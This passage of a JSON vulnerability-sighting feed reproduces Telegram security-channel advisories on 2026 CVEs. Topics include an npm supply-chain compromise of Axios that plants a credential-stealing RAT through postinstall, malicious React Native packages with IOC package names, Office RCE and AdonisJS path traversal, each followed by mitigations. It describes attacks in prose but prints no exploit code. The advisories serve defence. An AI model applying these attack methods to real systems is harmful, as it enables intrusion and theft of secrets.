\u0432\u0441\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u044b.\n\ud83d\udd27 npm ci --ignore-scripts \u043a\u0430\u043a \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430.\n\ud83d\udd17 Microsoft Security Blog | SANS\n\n\ud83d\udc22 TeamPCP - \u0430\u0442\u0430\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 \u0442\u0440\u0430\u043d\u0437\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0445 \u0443\u0440\u043e\u0432\u043d\u044f\u0445 \u0434\u0435\u0440\u0435\u0432\u0430 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\u0416\u0435\u0440\u0442\u0432\u044b: Trivy, KICS, \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 npm-\u0443\u0442\u0438\u043b\u0438\u0442\u044b.\n\ud83d\udd17 Zscaler ThreatLabz\n\n\ud83d\udcf1 React Native - \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b\n\n\u0417\u0430\u0440\u0430\u0436\u0435\u043d\u044b react-native-international-phone-number \u0438 react-native-country-select.\n\u0410\u0442\u0430\u043a\u0430 \u0432 \u0442\u0440\u0438 \u0432\u043e\u043b\u043d\u044b: \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u2192 \u0441\u0442\u0435\u0439\u0434\u0436\u0435\u0440 \u2192 \u043f\u0435\u0439\u043b\u043e\u0430\u0434.\n\ud83d\udea9 IOC \u0432 package-lock.json: \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 @agnoliaarisian7180/* \u0438\u043b\u0438 @usebioerhold8733/*\n\ud83d\udd17 StepSecurity Report\n\n\ud83d\udd29 Node.js \u043f\u0430\u0442\u0447\u0438 (\u043c\u0430\u0440\u0442-\u0430\u043f\u0440\u0435\u043b\u044c 2026)\n\nCVE-2026-21714 - \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 HTTP/2, DoS \u0447\u0435\u0440\u0435\u0437 WINDOW_UPDATE\nCVE-2026-21713 - \u0442\u0430\u0439\u043c\u0438\u043d\u0433-\u0430\u0442\u0430\u043a\u0430 \u043d\u0430 HMAC \u0432 Web Crypto API\n\ud83d\udd17 HeroDevs\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441:\n1. \u041e\u0442\u043a\u0430\u0442\u0438\u0442\u044c Axios \u0441 1.14.1 / 0.30.4\n2. \u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c -ignore-scripts \u0432 CI/CD\n3. \u0420\u043e\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043c\u0430\u0448\u0438\u043d\u0430\u0445\n4. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c package-lock.json \u043d\u0430 IOC\u2019s", "creation_timestamp": "2026-07-12T22:00:05.976974Z"}, {"uuid": "a67a892e-f0f3-4dfd-9aa3-e35fe10ec443", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21713", "type": "seen", "source": "https://t.me/securixy_kz/1356", "content": "\ud83e\udde8 npm \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442: \u0410\u043f\u0440\u0435\u043b\u044c 2026 \n\n\u0414\u0432\u0435 \u043d\u0435\u0434\u0435\u043b\u0438 \u0430\u0442\u0430\u043a \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a. \n\n\u2620\ufe0f Axios - supply chain \u043e\u0442 Sapphire Sleet (UNC1069)\n\n\u0421\u0435\u0432\u0435\u0440\u043e\u043a\u043e\u0440\u0435\u0439\u0446\u044b \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0430\u043a\u043a\u0430\u0443\u043d\u0442 \u043c\u0435\u0439\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430.}\n\u0412\u0435\u0440\u0441\u0438\u0438 1.14.1 \u0438 0.30.4 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c plain-crypto-js, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0447\u0435\u0440\u0435\u0437 postinstall \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 RAT \u043d\u0430 Windows / macOS / Linux.\n\u0426\u0435\u043b\u044c: AWS/Azure-\u043a\u043b\u044e\u0447\u0438, GitHub-\u0442\u043e\u043a\u0435\u043d\u044b, env-\u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435.\n\u26a0\ufe0f \u041f\u0430\u043a\u0435\u0442 - 70+ \u043c\u043b\u043d \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u0439 \u0432 \u043d\u0435\u0434\u0435\u043b\u044e.\n\ud83d\udee1 \u041e\u0442\u043a\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u043d\u0430 1.14.0 / 0.30.3, \u0440\u043e\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u044b.\n\ud83d\udd27 npm ci --ignore-scripts \u043a\u0430\u043a \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430.\n\ud83d\udd17 Microsoft Security Blog | SANS\n\n\ud83d\udc22 TeamPCP - \u0430\u0442\u0430\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 \u0442\u0440\u0430\u043d\u0437\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0445 \u0443\u0440\u043e\u0432\u043d\u044f\u0445 \u0434\u0435\u0440\u0435\u0432\u0430 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\u0416\u0435\u0440\u0442\u0432\u044b: Trivy, KICS, \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 npm-\u0443\u0442\u0438\u043b\u0438\u0442\u044b.\n\ud83d\udd17 Zscaler ThreatLabz\n\n\ud83d\udcf1 React Native - \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b\n\n\u0417\u0430\u0440\u0430\u0436\u0435\u043d\u044b react-native-international-phone-number \u0438 react-native-country-select.\n\u0410\u0442\u0430\u043a\u0430 \u0432 \u0442\u0440\u0438 \u0432\u043e\u043b\u043d\u044b: \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u2192 \u0441\u0442\u0435\u0439\u0434\u0436\u0435\u0440 \u2192 \u043f\u0435\u0439\u043b\u043e\u0430\u0434.\n\ud83d\udea9 IOC \u0432 package-lock.json: \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 @agnoliaarisian7180/* \u0438\u043b\u0438 @usebioerhold8733/*\n\ud83d\udd17 StepSecurity Report\n\n\ud83d\udd29 Node.js \u043f\u0430\u0442\u0447\u0438 (\u043c\u0430\u0440\u0442-\u0430\u043f\u0440\u0435\u043b\u044c 2026)\n\nCVE-2026-21714 - \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 HTTP/2, DoS \u0447\u0435\u0440\u0435\u0437 WINDOW_UPDATE\nCVE-2026-21713 - \u0442\u0430\u0439\u043c\u0438\u043d\u0433-\u0430\u0442\u0430\u043a\u0430 \u043d\u0430 HMAC \u0432 Web Crypto API\n\ud83d\udd17 HeroDevs\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441:\n1. \u041e\u0442\u043a\u0430\u0442\u0438\u0442\u044c Axios \u0441 1.14.1 / 0.30.4\n2. \u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c -ignore-scripts \u0432 CI/CD\n3. \u0420\u043e\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043c\u0430\u0448\u0438\u043d\u0430\u0445\n4. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c package-lock.json \u043d\u0430 IOC\u2019s", "creation_timestamp": "2026-07-12T22:00:06.002234Z"}, {"uuid": "9551cb69-645e-4e34-ab26-44da34e85409", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21520", "type": "seen", "source": "https://t.me/securixy_kz/1313", "content": "\ud83d\udea8 CVE\u20112026\u201121520 - \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 Microsoft Copilot Studio\n\n\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0440\u0438\u0441\u043a: \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0432\u0435\u043a\u0442\u043e\u0440.\n\u0411\u0435\u0437 \u043f\u0440\u0430\u0432. \u0411\u0435\u0437 \u0442\u043e\u043a\u0435\u043d\u043e\u0432. \u0411\u0435\u0437 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\nCVSS: 7.5 HIGH\n\u0412\u0435\u043a\u0442\u043e\u0440: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c tenant\u2011\u0434\u0430\u043d\u043d\u044b\u0435 Copilot Studio:\n\u2022 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0430\u0433\u0435\u043d\u0442\u043e\u0432\n\u2022 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u043a\u043e\u043d\u043d\u0435\u043a\u0442\u043e\u0440\u043e\u0432\n\u2022 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435\n\u2022 \u0434\u0438\u0430\u0433\u043d\u043e\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f, \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u0434\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0445 \u0430\u0442\u0430\u043a\n\n\ud83d\udd27 \u041c\u0438\u0442\u0438\u0433\u0430\u0446\u0438\u0438:\n1. \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f MSRC\n2. \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043a\u043e\u043d\u043d\u0435\u043a\u0442\u043e\u0440\u044b \u0438 \u0442\u043e\u043a\u0435\u043d\u044b\n\n\ud83d\udd0d \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438:\nhttps://windowsforum.com/threads/cve-2026-21520-copilot-studio-information-disclosure-and-mitigations.398290/", "creation_timestamp": "2026-07-12T22:00:06.056231Z"}, {"uuid": "5002d51c-88c4-47fc-8174-97c42a0e64a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://t.me/securixy_kz/1301", "content": "\ud83d\udd25 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c RCE \u0432 Microsoft Office: \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442. CVE\u20112026\u201121509 -  \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f\n\n\ud83d\udc40 \u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043b\u0438 \u0434\u0430\u0436\u0435 \u043f\u0440\u0435\u0434\u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 \u0444\u0430\u0439\u043b\u0430.\n\n\ud83d\udca5 \u0420\u0438\u0441\u043a: \u043f\u043e\u043b\u043d\u044b\u0439 \u0437\u0430\u0445\u0432\u0430\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0430 \u043c\u0430\u043b\u0432\u0430\u0440\u0438, \u0442\u043e\u0447\u043a\u0430 \u0432\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438.\n\n\u26a0\ufe0f \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u0436\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u0445.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u044f\u0439\u0442\u0435 MS Office \u0433\u043e\u0441\u043f\u043e\u0434\u0430.\n\n\ud83d\udd17 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21509", "creation_timestamp": "2026-07-12T22:00:06.262515Z"}, {"uuid": "c5d91ef7-cc63-4519-b2d5-4a79d87d7db5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21440", "type": "seen", "source": "https://t.me/securixy_kz/1283", "content": "\ud83d\udea8 \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 AdonisJS Bodyparser (CVE\u20112026\u201121440)  \n\u041a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 Node.js / NPM, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0438\u0439 \u0437\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 multipart\u2011\u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440. \u041f\u0440\u044f\u043c\u043e\u0439 \u043f\u0443\u0442\u044c \u043a RCE \ud83d\ude0f\n\n\u26a1 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c  \n\u041c\u043e\u0434\u0443\u043b\u044c @adonisjs/bodyparser, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0432 AdonisJS (TypeScript\u2011\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a \u0434\u043b\u044f Node.js), \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043f\u0443\u0442\u0438 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0444\u0430\u0439\u043b\u043e\u0432.  \n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 multipart\u2011\u0437\u0430\u043f\u0440\u043e\u0441 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0438\u0441\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u043b\u044e\u0431\u0443\u044e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e, \u043e\u0431\u0445\u043e\u0434\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f.  \n\u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f.\n\n\ud83c\udfaf \u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f  \n\u041f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u0432, \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434, \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044f backend\u2011\u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432, \u043f\u043e\u0434\u043c\u0435\u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0437\u043b\u043e\u043c \u043f\u0440\u0438 \u0441\u043b\u0430\u0431\u043e\u0439 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u0438.\n\n\ud83d\udee1\ufe0f \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f  \n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 10.1.2 \u0438 11.0.0\u2011next.6.  \n\u041e\u0431\u043d\u043e\u0432\u043b\u044f\u0439\u0442\u0435\u0441\u044c. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0439\u0442\u0435 \u0432\u0441\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 multipart\u2011endpoint\u2019\u044b \u0438 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0434\u043b\u044f upload\u2019\u043e\u0432.\n\n\ud83d\udd17 \u0414\u0435\u0442\u0430\u043b\u0438  \nhttps://radar.offseq.com/threat/cve-2026-21440-cwe-22-improper-limitation-of-a-pat-1ab6f0b6", "creation_timestamp": "2026-07-12T22:00:06.356918Z"}, {"uuid": "877ed5fe-efd4-44a1-8949-a9c8bebee0b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21385", "type": "seen", "source": "https://t.me/pleyades_it/12147", "content": "\u2757\ufe0f Especial atenci\u00f3n a la #vulnerabilidad CVE-2026-21385 que afecta al kernel gr\u00e1fico de Qualcomm\nhttps://acortar.link/1SsWe4 #ciberseguridad #android", "creation_timestamp": "2026-07-12T22:00:14.531799Z"}, {"uuid": "39c9969a-78c7-4c08-84d9-cfb313e694c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21440", "type": "published-proof-of-concept", "source": "https://t.me/securixy_kz/1283", "content": "\ud83d\udea8 \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 AdonisJS Bodyparser (CVE\u20112026\u201121440)  \n\u041a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 Node.js / NPM, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0438\u0439 \u0437\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 multipart\u2011\u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440. \u041f\u0440\u044f\u043c\u043e\u0439 \u043f\u0443\u0442\u044c \u043a RCE \ud83d\ude0f\n\n\u26a1 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c  \n\u041c\u043e\u0434\u0443\u043b\u044c @adonisjs/bodyparser, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0432 AdonisJS (TypeScript\u2011\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a \u0434\u043b\u044f Node.js), \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043f\u0443\u0442\u0438 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0444\u0430\u0439\u043b\u043e\u0432.  \n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 multipart\u2011\u0437\u0430\u043f\u0440\u043e\u0441 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0438\u0441\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u043b\u044e\u0431\u0443\u044e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e, \u043e\u0431\u0445\u043e\u0434\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f.  \n\u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f.\n\n\ud83c\udfaf \u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f  \n\u041f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u0432, \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434, \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044f backend\u2011\u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432, \u043f\u043e\u0434\u043c\u0435\u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0437\u043b\u043e\u043c \u043f\u0440\u0438 \u0441\u043b\u0430\u0431\u043e\u0439 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u0438.\n\n\ud83d\udee1\ufe0f \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f  \n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 10.1.2 \u0438 11.0.0\u2011next.6.  \n\u041e\u0431\u043d\u043e\u0432\u043b\u044f\u0439\u0442\u0435\u0441\u044c. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0439\u0442\u0435 \u0432\u0441\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 multipart\u2011endpoint\u2019\u044b \u0438 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0434\u043b\u044f upload\u2019\u043e\u0432.\n\n\ud83d\udd17 \u0414\u0435\u0442\u0430\u043b\u0438  \nhttps://radar.offseq.com/threat/cve-2026-21440-cwe-22-improper-limitation-of-a-pat-1ab6f0b6", "creation_timestamp": "2026-07-13T00:00:16.084030Z"}, {"uuid": "39104b40-68cf-4d36-ae2f-90cb6a400b4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "https://t.me/securixy_kz/1301", "content": "\ud83d\udd25 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c RCE \u0432 Microsoft Office: \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442. CVE\u20112026\u201121509 -  \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f\n\n\ud83d\udc40 \u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043b\u0438 \u0434\u0430\u0436\u0435 \u043f\u0440\u0435\u0434\u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 \u0444\u0430\u0439\u043b\u0430.\n\n\ud83d\udca5 \u0420\u0438\u0441\u043a: \u043f\u043e\u043b\u043d\u044b\u0439 \u0437\u0430\u0445\u0432\u0430\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0430 \u043c\u0430\u043b\u0432\u0430\u0440\u0438, \u0442\u043e\u0447\u043a\u0430 \u0432\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438.\n\n\u26a0\ufe0f \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u0436\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 